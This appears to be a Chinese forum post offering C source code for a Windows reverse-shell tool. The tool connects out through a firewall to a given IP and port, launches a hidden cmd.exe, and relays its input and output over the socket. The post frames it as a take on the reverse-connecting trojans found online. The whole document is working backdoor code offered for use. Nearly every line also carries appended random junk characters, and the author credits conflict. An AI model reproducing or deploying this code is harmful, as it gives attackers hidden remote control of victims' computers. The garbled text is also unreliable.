这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,#M Cn
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/* ============================== $odso;Hn
Rebound port in Windows NT LUB${0BrA
By wind,2006/7 y!tC20Q
===============================*/ (T`E!A0I\?
#include h/?l4iR*
#include ;X*cCb`h
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#pragma comment(lib,"wsock32.lib") Bn@(zHG+5&
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void OutputShell(); <-D/O$q
SOCKET sClient; ^8.]d~j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YIw1
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void main(int argc,char **argv) .X# `k
{ vz.>~HBP
WSADATA stWsaData; Po%LE]v,
int nRet; nRyU]=-X
SOCKADDR_IN stSaiClient,stSaiServer; n]E?3UGD@W
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if(argc != 3) 2hzsKkrA
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); aDO!
return; '%q$`KDb
} (L^]Lk
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WSAStartup(MAKEWORD(2,2),&stWsaData); i3rH'B-I.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0a80 LAK
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stSaiClient.sin_family = AF_INET; &=VDASEu
stSaiClient.sin_port = htons(0); ^R:cd8+?%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %CK^Si%+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s"t$0cH9
{ >=[(^l
printf("Bind Socket Failed!\n"); 'Lu__NfN
return; '7XIhN9
} z`:lcF{V
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stSaiServer.sin_family = AF_INET; |JQQU!x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hCC<?5q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (1#J%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '&\kxNglJ
{ h*- Pr8
printf("Connect Error!"); z CvKDlL
return; PYGRsrcFd#
} )jt #=9ZQ
OutputShell(); A!h`]%0B
} 4O35"1
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void OutputShell() [eC2"&}
{ @)fd}tV
char szBuff[1024]; ouuuc9x]
SECURITY_ATTRIBUTES stSecurityAttributes; p6;OL@\~
OSVERSIONINFO stOsversionInfo; ,^C--tgZJg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k |eBJ%
STARTUPINFO stStartupInfo; YJ\Xj56gv
char *szShell; /Njd[=B
PROCESS_INFORMATION stProcessInformation; 0tXS3+@n=
unsigned long lBytesRead; ' ~8KSF*!p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); abyo4i5T
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Le\?+h42>
stSecurityAttributes.lpSecurityDescriptor = 0; "vOwd.(?N
stSecurityAttributes.bInheritHandle = TRUE; <i&_ooX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YB2VcF.LU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8|\8O@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sy0$z39
stStartupInfo.wShowWindow = SW_HIDE; 9po3m]|zy
stStartupInfo.hStdInput = hReadPipe; . QBF`Rz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #T'{ n1AI
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GetVersionEx(&stOsversionInfo); 5:KQg
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switch(stOsversionInfo.dwPlatformId) ppVHLrUh
{ ;EP:o%r
case 1: }f6HYU
szShell = "command.com"; oY H^_V
break; R8a3
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default: .nx2";oi
szShell = "cmd.exe"; ` 2V19s]
break; %5"9</a&G
} G$F<$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @eKec1<
) QU
send(sClient,szMsg,77,0); !
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while(1) :%,:"
{ #ML%ij 1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J;8IY=
if(lBytesRead) ,)Znb=
{ 4\8+9b\9"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ).`1+b
send(sClient,szBuff,lBytesRead,0); jK& h~)
} fof TP1
else GLeK'0Q@
{ f Sa"%8%
lBytesRead=recv(sClient,szBuff,1024,0); 1SCR.@k<
if(lBytesRead<=0) break; l~w2B>i)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U@uGNMKR
} w"Gm; B4
} !Fd~~v
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return; s@K4u^$A
}